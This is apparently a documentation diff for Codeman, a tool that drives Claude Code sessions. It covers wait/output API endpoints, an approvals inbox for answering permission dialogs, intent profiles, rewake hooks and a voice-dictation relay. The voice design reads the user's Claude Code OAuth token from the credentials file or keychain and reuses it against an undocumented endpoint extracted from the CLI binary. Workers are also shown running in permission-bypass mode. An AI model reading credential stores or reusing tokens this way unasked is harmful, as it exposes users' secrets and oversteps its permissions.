+prompt into the dialog, where the `\r` never gets past it, while the session's
+startup `idle` lands inside the wait window: the wait resolves on `idle` in a
+couple of seconds with `timedOut: false`, which looks exactly like a completed
+turn.
+
+The reliable sequence is: poll `GET /api/v1/sessions/:id` until `.data.pid` is
+non-null, then `wait-output` for the composer's own marker (`bypass`, the status
+bar of a CLI spawned in bypass mode) with a short timeout, handling the trust
+dialog only as the bounded fallback (`trust` matched → send `\r` → wait for
+`bypass` again). Do not probe `trust` first and Enter blindly: the dialog text
+stays in the terminal buffer for the life of the session, so a `trust` probe with
+`from=buffer` keeps matching on every later run and the Enter lands in a ready
+composer. A worked version is in
+[`extending-codeman.md`](extending-codeman.md#seam-3-http-api-and-cli).
+
+### `GET /api/v1/sessions/:id/wait`
+
+| Param | Type | Default | Notes |
+|-------|------|---------|-------|
+| `until` | comma-separated list of `idle,working,stop,blocked,exit` | `stop,idle,exit` | resolves on the first to fire. An unknown token is a `400` naming it, never a silent fallback |
+| `timeout` | positive integer ms | `60000` | **validated first, clamped second.** `0`, a negative value and a fractional value are all `400`s, not clamps; a valid value outside `[1000, 600000]` is clamped and echoed as `wait.timeoutMs` |
+| `fresh` | `0` \| `1` \| `false` \| `true` | `0` | `1` requires an actual transition, ignoring the state at call time |
+
+```bash
+curl -s "$API/api/v1/sessions/$SID/wait?until=stop,exit&timeout=60000"
+```
+
+Both GET wait routes answer with `Cache-Control: no-store`, because the documented
+pattern polls one identical URL in a loop and a cached `{"timedOut":true}` would
+turn that loop into a busy spin. `POST .../input` sends no cache header (it is a
+POST, which is not heuristically cacheable).
+
+⚠️ **Unknown query parameters are ignored, not rejected**, with one exception
+(`regex`, below). In particular `match=` on `/wait` is silently dropped and you get
+a plain signal wait, so check the endpoint path before blaming the parameters.
+
+### `GET /api/v1/sessions/:id/wait-output`
+
+| Param | Type | Default | Notes |
+|-------|------|---------|-------|
+| `match` | literal string, 1 to 200 chars | required | substring match against the PTY stream with ANSI escapes stripped. A match spanning two PTY chunks is found |
+| `nocase` | `0` \| `1` \| `false` \| `true` | `0` | case-insensitive compare. The returned snippet keeps the terminal's original casing |
+| `from` | `now` \| `buffer` | `now` | `buffer` scans the tail of the existing terminal buffer (bounded, 256 KB by default) before blocking |
+| `timeout` | positive integer ms | `60000` | same validation and clamp as `/wait` |
+
+**Matching is literal, never a pattern.** A `regex` parameter is rejected with a
+`400` rather than ignored, so a caller that assumed otherwise finds out immediately
+instead of waiting on the wrong thing. The reasoning is in
+[`architecture-invariants.md`](architecture-invariants.md#agent-wait-primitives).
+
+#### What the matcher actually sees
+
+The matcher scans the raw PTY stream, **normalized**: ANSI escape sequences are
+stripped — CSI, OSC, and the charset-designation escapes a stock bash prompt emits
+on every line (`ESC ( B`), so `match=tnode:` matches a prompt that renders
+`…@tnode:` — a partial escape arriving at a chunk boundary is held back until its
+tail arrives, and a match may straddle PTY chunks: `printf STRAD; sleep 1; printf
+DLEQQ` is matchable as `STRADDLEQQ` (all measured live). Three caveats remain:
+
+⚠️ **It is still the byte stream, not the rendered pane.** `GET .../terminal`
+answers from a tmux screen capture (`data.source: "mux-visible"`), the finished
+picture; the matcher sees the stream that painted it. For linear output the two
+agree once escapes are stripped, but a full-screen TUI composes its picture with
+cursor positioning, so what the pane shows and what the stream carries can differ.
+Seeing your string in `terminal?tail=` makes a match likely, not guaranteed.
+
+⚠️ **A TUI's text can arrive without its spaces.** Claude Code positions words
+with cursor moves rather than printing spaces, so screen text can reach the
+matcher as `Quicksafetycheck:Isthisaprojectyoucreated...`. Whether a given phrase
+keeps its spaces depends on how the TUI happened to draw it (measured: `I trust
+this folder` matched, `Quick safety check` did not), so a multi-word `match`
+against a TUI pane is unreliable rather than impossible. Match a **single
+space-free token**, ideally one you printed yourself. Plain command output (a
+shell worker, an `echo`) keeps its spaces.
+
+⚠️ **The returned `snippet` is a rendering of the matched text, not a quotation of
+it.** It is cut from the same normalized stream the match ran against, then
+cleaned for display: remaining raw control bytes are removed (an agent pipes the
+snippet into its own terminal, so a worker's bytes must not be able to reset that
+display) and blank runs are collapsed. A printable needle that matched will appear
+in it; a needle containing control bytes or a blank run may not survive verbatim.
+
+```bash
+MARK="DONE_$RANDOM"
+curl -sG "$API/api/v1/sessions/$SID/wait-output" \
+  --data-urlencode "match=$MARK" --data-urlencode 'timeout=120000'
+```
+
+Build the query with `-G --data-urlencode` rather than by hand: a `+` in a
+hand-written query string decodes to a space.
+
+### `POST /api/v1/sessions/:id/input` with `wait`
+
+Two optional fields on the existing endpoint:
+
+| Field | Type | Notes |
+|-------|------|-------|
+| `wait` | `true` or the same comma grammar as `until` | `true` means the default signal set. Omitted keeps the historical fire-and-forget behavior, unchanged. `null`, `false` and an empty string are all read as **absent**, not as an error and not as "wait for the default" |
+| `waitTimeout` | positive integer ms | same validation **and** clamp as `timeout`: `0`, a negative and a fractional value are `400`s, anything valid is clamped into `[1000, 600000]` and echoed as `wait.timeoutMs` |
+
+Both are `nullish`, so an explicit `null` from `JSON.stringify` is accepted as
+"absent" rather than failing validation. That is deliberate: `.optional()` would
+reject it, which has shipped as a real bug twice.
+
+The input must end with `\r` (a real carriage return in the JSON string): Enter is
+sent only when the input contains one, so text without it is typed onto the
+worker's prompt but never submitted, and the wait then runs its full timeout on a
+turn that never started. Verified live; this is the most common silent failure on
+this endpoint.
+
+```bash
+curl -s -X POST "$API/api/v1/sessions/$SID/input" \
+  -H 'Content-Type: application/json' \
+  -d '{"input":"run the tests\r","useMux":true,"clientId":"agent-1","seq":1,
+       "wait":"stop","waitTimeout":600000}'
+```
+
+A **tagged duplicate** (a `clientId` + `seq` pair the server has already applied)
+still honors `wait`, because the caller's question is unanswered, but it answers
+from the session's current state rather than requiring a new transition: the
+original turn may be long over. It comes back as
+`"delivered": false, "duplicate": true`.
+
+### Response
+
+All three nest the wait result under `data.wait`, so one client helper works against
+any of them:
+
+```json
+{ "success": true, "data": {
+  "sessionId": "28325fd3-caa7-4178-82bf-87dfebf0f464",
+  "status": "idle",
+  "limitPaused": false,
+  "wait": {
+    "signal": "stop", "until": ["stop", "idle", "exit"],
+    "timedOut": false, "immediate": false, "ended": false, "aborted": false,
+    "waitedMs": 8421, "timeoutMs": 60000
+  }
+}}
+```
+
+`POST .../input` returns the same `wait` object alongside `delivered`, `duplicate`,
+`status` and `limitPaused`. `POST .../input` **without** `wait` is unchanged and
+still returns `{"success": true, "data": {}}`.
+
+⚠️ `delivered: false` has **two** meanings, and they must be told apart by
+`duplicate`: with `duplicate: true` the input was suppressed as an already-applied
+redelivery (harmless, the turn it refers to may be long over), while with
+`duplicate: false` the **write failed** (typically no PTY behind the session). A
+client that reads `delivered === false` as "duplicate" silently treats a failed send
+as a success.
+
+| Field | Type | Meaning |
+|-------|------|---------|
+| `wait.signal` | signal \| `null` | the signal that fired (`/wait` and `/input` only) |
+| `wait.until` | array of signals | what the server actually waited on, after narrowing the default set for the session's mode (`/wait` and `/input` only) |
+| `wait.matched` | boolean | the string appeared (`/wait-output` only) |
+| `wait.match` | string | the literal that was searched for (`/wait-output` only) |
+| `wait.snippet` | string \| `null` | bounded window of output around the match, blank runs collapsed for readability (`/wait-output` only) |
+| `wait.timedOut` | boolean | the wait hit its timeout. Still a `200` |
+| `wait.immediate` | boolean | the condition already held at call time, so nothing was waited for (`waitedMs` is 0) |
+| `wait.ended` | boolean | the session went away (deleted or torn down) before the condition was met |
+| `wait.aborted` | boolean | the client hung up, so the waiter was released without resolving — and by that definition a client never reads `true`. When the **server** abandons a wait itself (send-and-wait against a session with no PTY), it answers in about a millisecond with `ended: true`, `delivered: false`, `duplicate: false` and `aborted: false`: `delivered`/`ended` carry that story, and `aborted` stays the transport flag. Present for completeness; treat a `true` as "this wait answered nothing", never as an outcome |
+| `wait.waitedMs` | number | wall-clock ms actually spent waiting |
+| `wait.timeoutMs` | number | the timeout **after clamping**, which is what was applied |
+| `status` | `SessionStatus` | the session's status after the wait, so a caller that timed out still learns where things stand |
+| `limitPaused` | boolean | the session is paused on a usage limit and will emit nothing until its reset, so a timeout here is expected rather than a stall worth retrying hard |
+
+Read the outcome by discriminator, in this order:
+
+1. `wait.signal !== null` (or `wait.matched === true`): the thing happened.
+2. `wait.timedOut`: a poll boundary. Loop again.
+3. `wait.ended` or `wait.aborted`: the wait answered nothing, because the session is
+   gone or was never running. Re-check the session instead of looping.
+
+`wait.immediate` is not a fourth outcome: it rides along with the first one and
+means the condition already held at call time, so nothing was actually waited for.
+If that is not what you meant, you wanted `fresh=1` or the send-and-wait form. Note
+that `{"signal":"exit","immediate":true}` on a session you just created is the
+not-started-yet case, not a crash.
+
+**The timeout is clamped, so read it back.** A request for 1800000 ms is silently
+reduced to the server's ceiling (600000 ms by default, operator-tunable), and a
+request for 1 ms is raised to 1000 ms. `wait.timeoutMs` is the value that was
+applied. Without checking it, a caller that asked for 30 minutes and got 10 will
+read the timeout as "the worker is wedged" and kill a session that was working fine.
+
+### Errors
+
+| `errorCode` | HTTP | When |
+|-------------|------|------|
+| `INVALID_INPUT` | 400 | unknown `until` / `wait` token; `stop` or `blocked` requested explicitly on a mode that installs no hooks (the message names the mode); `regex=` on `/wait-output`; `match` outside 1 to 200 chars; a non-numeric `timeout` |
+| `NOT_FOUND` | 404 | no such session, or one this caller does not own |
+| `SESSION_BUSY` | 409 | this session's waiter cap is full |
+| `RATE_LIMITED` | 429 | a per-owner or process-wide waiter cap is full. Retry later; the session you named is not the problem |
+
+The two capacity codes are deliberately different. A process-wide cap reported as
+`SESSION_BUSY` would tell the caller to switch sessions, which cannot help. The
+error message names the cap that was hit.
+
+⚠️ A `401` is **not** in this table and is not an envelope at all (see
+[Response envelope](#response-envelope)). It matters most here: a polling loop that
+pipes each wait straight into `jq` fails with a parse error on every iteration
+against a password-protected server, which reads as "the wait endpoints are broken".
+Check the status first.
+
+The per-session cap is a **combined** budget: signal waiters and output waiters
+count against the same 16, not 16 of each. An abandoned request no longer holds its
+slot, because the routes release the waiter when the client disconnects, but a
+client that opens many concurrent waits against one session will still hit the cap.
+
+## Session lineage (`parentSessionId`)
+
+A create request may name the session that spawned it, which the web UI draws as a
+line between the two tabs. Accepted on `POST /api/v1/sessions` and
+`POST /api/v1/quick-start`, either way:
+
+```bash
+# as a body field
+-d '{"caseName":"worker-1","mode":"claude","parentSessionId":"'"$CODEMAN_SESSION_ID"'"}'
+
+# or as a header, which is what an agent driving many spawns should use: set it once
+# on the curl invocation and every spawn call carries it
+-H "X-Codeman-Parent-Session: $CODEMAN_SESSION_ID"
+```
+
+The body field wins if both are present. The value is resolved against live sessions
+(exact id, or a unique prefix of at least 8 characters) and must belong to the same
+owner as the session being created.
+
+**It cannot fail your spawn.** An unknown, stale, foreign or malformed value is
+silently dropped and the session is created without lineage — never a `400`. It is
+also pure decoration: it confers no permission, and a child is unaffected by its
+parent exiting. It appears on session state as `parentSessionId` (absent when
+unresolved) and survives a server restart.

+  toolSummary?, message?, cwd?, context?, options?: {n, label}[],

+  `409 CONFLICT` when the dialog left the screen or another actor answered
+  first, `422 OPERATION_FAILED` when the session refused input.
+- `POST /api/v1/approvals/:id/dismiss` removes the item without keystrokes.
+- `POST /api/v1/approvals/session/:sessionId/viewed` → `{ sessionId,
+  acknowledged: itemId | null }`. Marks the session's pending **idle** item as
+  seen by a human (the web UI calls it when you open the session's tab): the
+  item stays pending and answerable, but stops arming the yellow tab alert on
+  every client, including after a reload. Permission/question items are never
+  acknowledged this way, since looking at a dialog does not answer it. `404`
+  for an unknown or inaccessible session; acknowledging twice is a no-op
+  (`acknowledged: null`).
+
+SSE events: `approval:pending` (full item), `approval:updated` (context/options

+## Read My Mind intent profiles
+
+Per-case profiles of what the user is trying to accomplish: user/agent-stated
+goals plus the user's recently submitted prompts, captured from the Claude
+session transcript while the opt-in `readMyMindEnabled` setting is on (default
+OFF). Keyed by owner + workingDir, so the profile survives `/clear`, respawns,
+and session churn. Stored in `~/.codeman/intents.json` (mode 0600); never fed
+into `/api/v1/search`. Design: [`readmymind-plan.md`](readmymind-plan.md);
+user guide: [`readmymind.md`](readmymind.md).
+
+- `GET /api/v1/sessions/:id/intent` -> `{ intent: IntentProfile }` for the
+  session's case. `IntentProfile`: `{ key, workingDir, updatedAt, goals,
+  recentPrompts: { ts, sessionId, text }[] }` (prompts oldest first, FIFO cap
+  50, each <= 500 chars). A case with nothing recorded answers an empty
+  profile with `updatedAt: 0`; nothing is persisted by reads.
+- `PUT /api/v1/sessions/:id/intent` with `{ goals }` (<= 8192 chars, strict
+  schema) replaces the goals text and answers the updated profile.
+  `400 INVALID_INPUT` on over-long or unknown fields.
+- `DELETE /api/v1/sessions/:id/intent` -> `{ deleted: boolean }` forgets the
+  case's profile entirely.
+- `POST /api/v1/sessions/:id/readmymind` predicts the user's next prompt:
+  a one-shot model call over the intent profile plus live session signals
+  (pending approval dialog, transcript tail, git state, run-summary events,
+  sibling sessions). Body is optional; the rethink flow passes
+  `{ steer?, rejected? }` (strict schema: `steer` <= 2000 chars, `rejected`
+  up to 10 strings <= 1000 chars). Answers
+  `{ suggestions: { prompt, why, kind }[], durationMs }` with 1-3 suggestions
+  (`kind`: `continue` | `verify` | `redirect`; prompts are single-line).
+  Claude-mode sessions only (`400 INVALID_INPUT` otherwise); one prediction in
+  flight per session (`409 CONFLICT`); predictor failures answer
+  `502 OPERATION_FAILED`. Takes 5-90 s and costs real tokens. Suggestions are
+  only ever returned, never sent: submitting one is the caller's explicit act.
+
+All four enforce session ownership in multi-user mode; a foreign session id
+answers `404 NOT_FOUND` (no existence leak), and profiles of two owners of the
+same directory are distinct by construction.

+
+- `GET /api/v1/voice/status` -> `{ available, reason?, subscriptionType?,
+  expiresAt? }`. `reason` is `disabled` (setting off), `no-credentials` (nobody
+  signed in to Claude Code on the server), `expired` (the access token elapsed;
+  running any Claude session refreshes it) or `malformed`. The OAuth token
+  itself is never returned by this or any other endpoint.
+- `GET /ws/voice/stream?language=&keyterms=` (WebSocket, not under `/api`)
+  relays one dictation. Client sends binary frames of signed 16-bit
+  little-endian PCM, 16 kHz mono (<= 64 KB per frame), plus JSON control frames
+  `{"t":"finalize"}` (ask for the final transcript) and `{"t":"stop"}`. Server
+  sends `{"t":"ready"}`, `{"t":"transcript","text","final"}` (each frame is the
+  WHOLE running transcript, not a delta), `{"t":"error","message"}` and
+  `{"t":"closed"}`. Close codes: `4003` disallowed Host/Origin, `4004`
+  unavailable (reason in the close reason), `4008` too many concurrent streams.

+# Approvals Inbox (design)
+
+One cross-session inbox for every prompt that is waiting on a human: permission dialogs, questions (AskUserQuestion / elicitation), and idle prompts. Cards are answerable in place (option digits, Esc, or a typed prompt) from desktop, phone overview, and push notification action buttons. Inspired by Cloudflare OS's Gatekeeper approval queue (https://github.com/cloudflare/cloudflare-os, asynchronous human-in-the-loop approvals): with a fleet of sessions the human is the bottleneck, and today answering means finding the right tab.
+
+## Problems this fixes (all real today)
+
+1. **No cross-session surface.** Pending prompts exist only as per-tab alert colors (`tab-alert-action`/`tab-alert-idle`) and NEEDS YOU rows on the phone overview. Answering means switching to the session and typing.
+2. **Alerts die on reload.** `pendingHooks` lives only in `app.js` memory, fed by transient SSE `hook:*` events. A page reload (or a phone browser evicting the tab) silently loses every pending alert. There is no server-side record.
+3. **Push Approve/Deny buttons are dead.** `PUSH_EVENT_MAP` already attaches `approve`/`deny` actions to permission pushes, and `sw.js` forwards `event.action` to the page, but the `notification-click` handler in settings-ui.js ignores it (and when no tab is open, the action is dropped entirely). The buttons render on the lock screen and do nothing.
+4. **Card context is missing.** The frontend handlers read `data.question` / `data.message` / `data.tool`, but `sanitizeHookData` never forwards `message`, so notifications show generic fallback text.
+
+## Scope
+
+- Claude mode only (hooks fire only for `claude`; external CLIs keep their output-stabilization heuristics and get no inbox items). This mirrors the wait-primitive `stop`/`blocked` gating.
+- Permission prompts occur for sessions running `ClaudeMode` `normal` / `auto` / `allowedTools` (and the trust-folder dialog even under skip-permissions). Question and idle prompts occur in every mode including `dangerously-skip-permissions`.
+- In-memory store (plus the frontend seeding from it on load). Server restart drops items; hooks re-fire on the next prompt. No new state file in v1.
+
+## Data model
+
+At most **one active item per session**: the Claude TUI shows one dialog at a time, so a new prompt event supersedes the session's previous item (resolution `superseded`).
+
+```ts
+interface ApprovalItem {
+  id: string;                 // `${sessionId}:${seq}`
+  sessionId: string;
+  sessionName: string;
+  kind: 'permission' | 'question' | 'idle';
+  createdAt: number;
+  toolName?: string;          // from sanitized hook data
+  toolSummary?: string;       // command / file_path / description, already bounded
+  message?: string;           // Notification hook `message` (newly allowlisted)
+  cwd?: string;
+  context?: string;           // ANSI-stripped visible pane frame tail, ≤ 4000 chars
+  options?: { n: number; label: string }[]; // parsed from context when confident
+}
+```
+
+Resolutions (server-emitted, item removed from pending): `answered` (via inbox), `resolved_in_terminal` (stop / elicitation_complete / elicitation_response / session went working), `superseded`, `session_ended`, `dismissed`, `expired` (12h TTL sweep).
+
+## Backend
+
+### Store: `src/approval-inbox.ts`
+
+Module-level singleton in the style of `session-wait-registry.ts` (pure, no `Session` import, injected emit callback so there is no import cycle with the server):
+
+- `notePrompt(info)` creates/supersedes the session's item; schedules ONE re-capture ~600ms later (the Notification hook can fire before the dialog finishes painting) which updates `context`/`options` and emits `approval:updated`.
+- `resolveForSession(sessionId, reason)`, `dismiss(id)`, `answerable(id)`, `listPending()`, `stop()` (clears timers; tests).
+- Option parsing (pure, unit-tested): consecutive `❯? N. label` lines, 2..6 options, labels ≤ 120 chars. Parsed options gate which digits the answer endpoint accepts; when parsing fails the card falls back to Approve(1)/Deny(Esc) only.
+- TTL: items expire after 12h (checked on read + a lazy sweep; no standing interval).
+
+### Wiring
+
+- `hook-event-routes.ts`: on `permission_prompt` / `elicitation_dialog` / `idle_prompt`, call `notePrompt` with sanitized data + a pane capture callback (`mux.capturePaneBuffer(muxName)` visible frame, ANSI-stripped via existing utils; fall back to `session.terminalBuffer` tail). On `stop` / `elicitation_complete` / `elicitation_response`, `resolveForSession(id, 'resolved_in_terminal')`.
+- `session-listener-wiring.ts`: `working` listener resolves **idle items only** (`working` is heuristic and can flap mid-turn, so it must never clear a pending permission/question dialog); `exit` resolves with `session_ended`. Same singleton-import pattern as `sessionWaits`.
+- Session delete route: resolve with `session_ended`.
+- **New hook matchers** `elicitation_complete` + `elicitation_response` added to `generateHooksConfig()`, `HookEventType`, `HookEventSchema`, and both SSE registries. `refreshStaleCodemanHooks` gets a staleness probe for them (`hooksJson.includes('elicitation_complete')`) so existing cases heal on next Claude spawn, exactly like the `-k`/secret/marker probes.
+- `sanitizeHookData`: allowlist `message` (bounded 500 chars). This also un-deadens the existing notification text paths.
+
+### Routes: `src/web/routes/approval-routes.ts`
+
+Normal authed API (NOT the hook-secret bypass), `ApiResponse` envelope, Zod schemas in `schemas.ts`:
+
+- `GET /api/approvals` → pending items, multi-user filtered by `canAccessOwned` (same policy as session lists). Also sweeps the caller's own items for staleness through `verifyStillAnswerable()`: Claude Code fires no "permission answered" hook, so a dialog answered in the terminal used to sit pending until `stop` and re-arm a red tab alert on the next page load. Only items whose original frame parsed options can be dropped this way, so an unreadable capture keeps the alert.
+- `POST /api/approvals/:id/answer` body `{ action: 'approve' | 'deny' | 'option' | 'text', option?, text? }`:
+  - `approve` → `writeViaMux('1')` (option 1 is always plain Yes; no Enter, menus react to the digit).
+  - `deny` → `writeViaMux('\x1b')` (Esc is the official No/cancel; precedent: auto-resume sends Esc the same way).
+  - `option` → digit `String(n)`; accepted only when `n` is within the item's parsed options (prevents blind digit-poking at an unparsed dialog).
+  - `text` → `idle` items only: single line, embedded newlines stripped, sent as `text\r` (the `\r` discipline from CLAUDE.md).
+  - Guards: item still pending (404 otherwise), session exists + ownership via `findSessionOrFail`, session mode installs hooks. **Answer-time re-capture**: for items whose frame parsed options, the pane is re-captured before sending; if the dialog no longer parses, the item resolves and the answer is refused with 409 (the keystroke would land in whatever now has focus). Marks `answered` BEFORE the write so a double-tap cannot double-send; rolls back to pending if the write fails.
+- `POST /api/approvals/:id/dismiss` → remove without keystrokes.
+- `POST /api/approvals/session/:sessionId/viewed` → acknowledge the session's pending **idle** item (`acknowledgedAt`, emitted as `approval:updated`). Added after the owner reported that a yellow tab clicked and checked went yellow again on reload: the view-clears-idle rule lived in one browser's memory, so the seed re-armed it and other devices never saw the clear. Acknowledgement is deliberately **not** resolution (the prompt is still unanswered, so it stays in the inbox and stays available as Read My Mind context), and deliberately **idle-only** (looking at a permission/question dialog does not answer it, so the red alert survives being viewed).
+
+### SSE
+
+`approval:pending`, `approval:updated`, `approval:resolved` in `sse-events.ts` + `SSE_EVENTS` in constants.js (the parity test pins the sync). Broadcasts carry `sessionId`, so multi-user SSE scoping applies unchanged.
+
+### Push
+
+- `sendPushNotifications` payload gains `approvalId` for the three hook events. Both `approvalId` and the Approve/Deny `actions` are **gated on the opt-in setting**: with it off, permission pushes carry no buttons at all (pre-inbox they rendered and did nothing, so stripping them is the honest shape).
+- `sw.js` `notificationclick`: when `event.action` is `approve`/`deny`, POST `/api/approvals/:id/answer` directly from the worker (same-origin, cookie credentials) so the buttons work **with no tab open**; on failure fall back to focusing/opening a tab. Non-action clicks keep today's behavior.
+- Page-side `notification-click` handler: honor `action` instead of dropping it (also setting-gated, for stale notifications sent before the toggle flipped).
+- Question/idle pushes keep no action buttons (options vary per dialog); tapping opens the inbox.
+
+## Frontend
+
+New module `approvals-ui.js` (@loadorder 11.2, after panels-ui.js), prettier-formatted (not added to `.prettierignore`).
+
+- **Seed on connect**: `GET /api/approvals` on init and SSE reconnect; each pending item re-feeds `setPendingHook(...)` so tab alerts and the phone overview survive reload (fixes problem 2 with zero changes to the alert state machine). Items carrying `acknowledgedAt` are skipped, and `markIdleAlertSeen()` (app.js) is what sets it: viewing a session clears its yellow locally and POSTs `.../viewed`, so "I checked it" survives the reload and reaches the user's other devices through `approval:updated`.
+- **Desktop**: header bell `btn-approvals` with count badge. Ships default-hidden via marker class `btn-approvals--hidden` (same policy as the attachments button, so `test/mobile-header-buttons-policy.test.ts` excludes it from the default-visible enumeration); JS shows it only while count > 0. Click toggles a drawer of cards: session name + kind, tool/message summary, mono context block, buttons rendered from parsed options (else Approve/Deny), plus Dismiss and Open session. Esc closes; existing z-index layers respected.
+- **Phone**: header button stays hidden (`mobile.css`); the phone surface is the overview's NEEDS YOU section, whose rows gain inline ✓/✗ buttons for permission items (tap-through to the session remains the row's main action). Toolbar classes/status language rules from the mobile-overview section of CLAUDE.md apply.
+- **i18n**: new strings registered in i18n.js (en + zh-CN); status words carry `data-i18n-skip` where they would collide (mirroring the overview pills).
+- **Setting**: `approvalsInboxEnabled`, synced (in `SettingsUpdateSchema`), **default OFF** (owner decision: the entire feature is opt-in, meaning no bell, no drawer, no overview strips, no seeding, and no push action buttons until enabled in App Settings → Panels). Only the store and answer endpoints keep running regardless, so flipping the toggle ON surfaces anything already pending immediately, with no restart.
+
+## Race honesty
+
+The prompt can be answered in the terminal a moment before an inbox answer lands; then the keystroke would hit whatever now has focus (worst case: a digit typed into the composer, not submitted, since no `\r` is ever sent for menu answers). Mitigations, in order: answer-time re-capture (the dialog must still parse on screen or the answer is refused), answered-before-write marking, digit-only/Esc-only writes for menus, and the card's context block showing what the pane looked like when captured. This is the same class of risk `writeViaMux` automation (auto-resume, respawn) already accepts.
+
+## Tests
+
+- `test/approval-inbox.test.ts`: supersede per session, every resolution path, TTL, option parsing fixtures (2-option, 3-option with ❯, unparseable frame), re-capture update.
+- `test/routes/approval-routes.test.ts` (`app.inject`, no port): list; hook event creates item; answer approve/deny/option writes the exact bytes (test-PTY echo asserts them); text answers restricted to idle; 404 unknown id; 409 answered twice; option out of range rejected; multi-user scoping.
+- Existing suites extended: hook-event schema accepts the two new events; `sanitizeHookData` forwards bounded `message`; SSE parity + mobile-header policy pass as-is by construction.
+
+## Docs
+
+- CLAUDE.md: Key Patterns entry + SSE/route counts + frontend load order.
+- `docs/api-reference.md`: the two endpoints + three SSE events (additive, fine under the 0.9.x contract).

+#### Asynchronous Rewake
+
+Command hooks can set `"asyncRewake": true` to run asynchronously and wake an
+idle Claude turn when the hook exits with code 2. The hook's stderr is delivered
+to Claude as a system reminder. This implies `"async": true`; ordinary async
+hooks do not wake an idle turn, and their output waits for the next interaction.
+
+Codeman uses this on `PostToolUse(Bash)`: a self-contained Node helper extracts
+the background task ID from the Bash result, watches the originating transcript
+and, for subagents, the top-level parent transcript for the matching completion
+notification, and exits 2. Claude records a subagent's Bash result in its
+`subagents/agent-*.jsonl` file but queues completion in the lead session JSONL.
+The task ID keeps each wake targeted. The helper does not send terminal input,
+so it cannot submit a user's partially written prompt.
+
+For script-dispatched Codex work, `codex-run.sh` writes the final response
+between `CODEMAN_RESULT_BEGIN/END` markers in the background task output. The
+rewake helper includes a maximum of 64 KiB of that report in its feedback. UI
+subagent discovery and dispatcher result delivery are separate contracts.

+# Claude voice dictation in Codeman
+
+Wire Codeman's existing mic button to the same speech-to-text service Claude Code's own
+`/voice` mode uses, so dictation works with **no third-party API key** for anyone already
+signed in to Claude Code on the server.
+
+## Why the CLI's own voice mode cannot be reused directly
+
+Claude Code 2.1.x ships voice input: `/voice hold|tap|off` arms it, the CLI opens the
+**host's** microphone (native `audio-capture-napi`, falling back to `sox`/`arecord` on Linux
+after probing `/proc/asound/cards`), streams PCM upstream and types the transcript into its
+own composer.
+
+Every part of that is on the wrong machine for Codeman. The CLI runs inside a tmux pane on
+the server, which is typically headless and has no sound card at all, while the human is in
+a browser on a phone somewhere else. Toggling `/voice` in the pane from Codeman would arm a
+microphone nobody is sitting in front of. So Codeman keeps capturing audio in the browser,
+where the user actually is, and only borrows the CLI's **transcription backend**.
+
+## The backend, as the CLI uses it
+
+Extracted from the 2.1.226 binary (`connectVoiceStream`):
+
+| | |
+| --- | --- |
+| URL | `wss://api.anthropic.com/api/ws/speech_to_text/voice_stream` |
+| Query | `encoding=linear16`, `sample_rate=16000`, `channels=1`, `endpointing_ms=300`, `utterance_end_ms=1000`, `language=<lang>`, `use_conversation_engine=true`, `stt_provider=deepgram-nova3` |
+| Headers | `Authorization: Bearer <Claude Code OAuth access token>`, `User-Agent`, `x-app: cli`, `anthropic-client-platform`, optional `x-config-keyterms` |
+| Audio | raw binary frames, PCM signed 16-bit little-endian, 16 kHz, mono |
+| Keepalive | `{"type":"KeepAlive"}` on open, then every 8 s |
+| Finalize | `{"type":"CloseStream"}`, then wait for the endpoint frame |
+| Downstream | `{"type":"TranscriptText"\|"TranscriptInterim","data":"…"}` (running interim), `{"type":"TranscriptEndpoint"}` (promotes the pending interim to final), `{"type":"TranscriptError",…}`, `{"type":"error","message":…}` |
+
+Deepgram Nova-3 runs server-side, so the Deepgram-quality result arrives without a Deepgram
+account. Verified against the live endpoint before this design was written: connect, stream
+PCM, receive interims and an endpoint frame.
+
+## Architecture
+
+The browser cannot call that endpoint itself: it would need the OAuth bearer token in page
+JavaScript (and CORS would refuse anyway). So the audio goes browser → Codeman → Anthropic,
+and Codeman is the only thing that ever touches the token.
+
+```
+mic → AudioWorklet (Float32 → PCM16 @16 kHz)
+    → wss://<codeman>/ws/voice/stream          [cookie/basic auth, Origin+Host guarded]
+    → VoiceStreamRelay (reads ~/.claude/.credentials.json per connect)
+    → wss://api.anthropic.com/api/ws/speech_to_text/voice_stream
+    ← {"t":"transcript","text":…,"final":…}    → existing _insertText() path
+```
+
+Nothing about the insert path changes: the transcript lands in the same preview overlay,
+the same direct/compose insert modes, the same green Send button.
+
+### Server pieces
+
+- **`src/claude-credentials.ts`** — locate and parse the Claude Code OAuth credentials.
+  `parseClaudeCredentials()` is pure (JSON string + `now` → status) and unit-tested;
+  `readClaudeOAuthToken()` wraps it with IO: `$CLAUDE_CONFIG_DIR/.credentials.json` or
+  `~/.claude/.credentials.json`, and on macOS the login keychain
+  (`security find-generic-password -s "Claude Code-credentials"`).
+  **Read-only, always.** Codeman never writes credentials and never refreshes the token: a
+  refresh rotates the refresh token, and racing Claude Code's own refresh could sign the
+  user out of their CLI. An expired token surfaces as a plain "run a Claude session to
+  refresh" error instead.
+  The token is never logged, never returned by any endpoint, and never sent to the browser.
+
+- **`src/web/voice-stream.ts`** — pure `buildVoiceStreamUrl()` / `buildVoiceStreamHeaders()` /
+  `sanitizeKeyterms()` (ASCII-only, deduped, 1024-char cap, mirroring the CLI), plus
+  `VoiceStreamRelay`, which owns one upstream socket: keepalive timer, audio passthrough,
+  transcript translation, finalize, and the caps below.
+
+- **`src/web/routes/voice-routes.ts`**
+  - `GET /api/voice/status` → `{ available, reason, subscriptionType?, expiresAt? }`. Never
+    the token. `available:false` with a machine-readable `reason` (`disabled`, `no-credentials`,
+    `expired`) is what the settings row and the provider resolver read.
+  - `GET /ws/voice/stream?language=&keyterms=` → the relay. Same upgrade guard as
+    `/ws/sessions/:id/terminal`: allowed Host, same-site Origin, and the global auth hook has
+    already run on the handshake.
+
+Caps, because an open mic is an open pipe: one stream per connection, `MAX_VOICE_STREAMS`
+concurrent server-wide, a hard `MAX_STREAM_MS` per stream, and a per-frame size cap. A tab
+left recording cannot bill an unbounded amount of upstream audio.
+
+### Frontend pieces
+
+- **`voice-pcm-worklet.js`** — an `AudioWorkletProcessor` converting Float32 blocks to PCM16
+  and posting ~256 ms frames back. `MediaRecorder` cannot produce raw PCM, which is why the
+  existing Deepgram path (container audio, auto-detected) cannot be reused as-is. Falls back
+  to `ScriptProcessorNode` where AudioWorklet is unavailable.
+- **`ClaudeVoiceProvider`** in `voice-input.js` — mirrors `DeepgramProvider`'s shape
+  (`start({language, keyterms, onStream, onResult, onError, onEnd})`) so `VoiceInput` treats
+  the three providers uniformly.
